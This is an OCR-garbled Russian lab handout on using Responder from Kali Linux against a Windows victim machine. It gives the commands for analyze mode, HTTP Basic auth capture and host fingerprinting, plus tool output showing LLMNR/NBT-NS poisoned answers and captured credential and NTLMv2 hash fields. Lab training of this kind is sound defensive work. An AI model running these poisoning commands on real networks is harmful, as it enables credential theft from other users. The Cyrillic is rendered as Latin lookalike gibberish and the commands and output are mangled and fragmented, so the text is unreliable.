Ucnonb3oBaHue Responder

Responder - yHuBepcanbHaga yTunurta, KoTopas
Ncnonb3yeTcsa AN TecTupoBaHMa 6e30onacHOCTU
BHYTPEHHEWN CETW.

CocTtaB nabopaTopHOro creHaa:

1. Kali Linux - mawmHa aTakyroulero

2. Windows 7 nnn 10 - mawmHa XepTBbl (MOXXHO TONbKO
OAHY BKJTHOUNTD)

Tembl nabopaTopHOMN:

1. Responder B pexxume npocnymsaHus
2. Http aTtakwu

3. C6op nHdhopmaunm o Xxoctax B CETU

N21 Responder B pexxume npocnywimBaHus:

Pexxnm HasblBaeTca Ha camMoM pfene analyze - B Hew,
Responder npocTo cobmnpaeT BCO MHMpopMaLuo N3 cetun u
NpeacTaBnsieT B TOM BMOE, KOTOPLIN MOXHO UCMNONb30BaTb
B rnocregyLwmux atakax.

KomaHpga gns 3anycka pexxuma: responder -A -l ethO



NMpumep BbIBOAA:

:~# responder -A -I etho
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NBT-NS, LLMNR & MDNS Responder 2.3.3.9

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C

[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]

Servers:

HTTP server [ON]
HTTPS server [ON]
WPAD proxy

Auth proxy

SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]

IMAP server [ON]
POp erve ON

Odencrensa mawunHbl XXepTBbl:

1. OTkpbiTb bpaysep n nepentn no nwobomy URL.
[MoHabniopgaTb, Kakas nHdopmaunsa nonagaeT Ha dKpaH
Responder.

2. ObpaTuTbCs K HECYLLECTBYIOWEN ceTeBoM oOLLen
ONPEeKTOPUN: OTKPbITb explorer.exe n BBecCTU
\\server\share

Ne2 Ataka HTTP Auth
KomaHpga gns 3anycka pexxuma: responder -b -1 eth0

OdencTBns MallnHbl XXepTBbl:

1. OTKpbITE Ntobown OGpaysep, HabpaTb http://
thisistest.site

2. BsecTtu ntobyto nocnenoBaTenibHOCTb JIOrMHAa 1 Napons.

[Mpnumep BbiBOga Responder:


http://thisistest.site
http://thisistest.site

Listening for events...
[NBT-NS] Poisoned answer
[LLMNR] Poisoned answer
[LLMNR] Poisoned answer
[LLMNR] Poisoned answer
[LLMNR] Poisoned answer
[LLMNR] Poisoned answer
[LLMNR] Poisoned answer
[LLMNR] Poisoned answer
[LLMNR] Poisoned answer
[LLMNR] Poisoned answer
[NBT-NS] Poisoned answer
[NBT-NS] Poisoned answer

HTTP] Basic Client -

HTTP] Basic Username

HTTP] Basic Password
Skipping prev1ously captured hash for
[LLMNR] Poisoned answer sent to 10.0.
[LLMNR] Poisoned answer sent to 10.0.
[LLMNR] Poisoned answer sent to 10.0.
[LLMNR] Poisoned answer sent to 10.0
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IESBWIN7 (service:
mkfkjkbcl
tjbihcqwoskrb
nmfedveu

TEST.
TEST.

Domain Controller)

whoami

MAZAFACA (service:
NEW.NAME (service:

Workstation/Redirector)
Workstation/Redirector)

Ne3 C6op nHcpopmauum o Xxocte B ceTu

KomaHga pns 3anycka pexxuma:

HencTBnsa MallnHbI XXepPTBbl:

responder -f -1 ethO

1. OTkpbITb explorer.exe, nepentn B gnpekToputo \\test

[Mpnmep BoiBOga Responder:

sent to 10.0.2.4 for name test
name test

name TEST

*] [LLMNR] Poisoned answer
*] [LLMNR] Poisoned answer sent to 10.0.2.4 for
*] [NBT-NS] Poisoned answer sent to 10.0.2.4 for
FINGER] 0S Version : Win s 7 Er prise 76
FINGER] Client Version

FINGER] 0S Version

FINGER] Client Version

FINGER] 0S Version

FINGER] Client Version

SMBv2] NTLMv2-SSP Client

SMBv2] NTLMv2-SSP Username

SMBv2] NTLMv2-SSP Hash

*] [NBT NS] P01soned answer

for name TEST
FINGER] 0S Version 7601 Servic
FINGER] Client Version
*] [LLMNR] Poisoned answer
FINGER] 0S Version
FINGER] Client Version : Winc
*] [LLMNR] Poisoned answer
FINGER] 0S Version : Window
FINGER] Client Version : Windov
*] [LLMNR] Poisoned answer
FINGER] 0S Version s Wir
FINGER] Client Version : Wir
*] [LLMNR] Poisoned answer
FINGER] 0S Version s Wir
FINGER] Client Version

(service: File Server)

(serv1ce Workstation/Redirector)




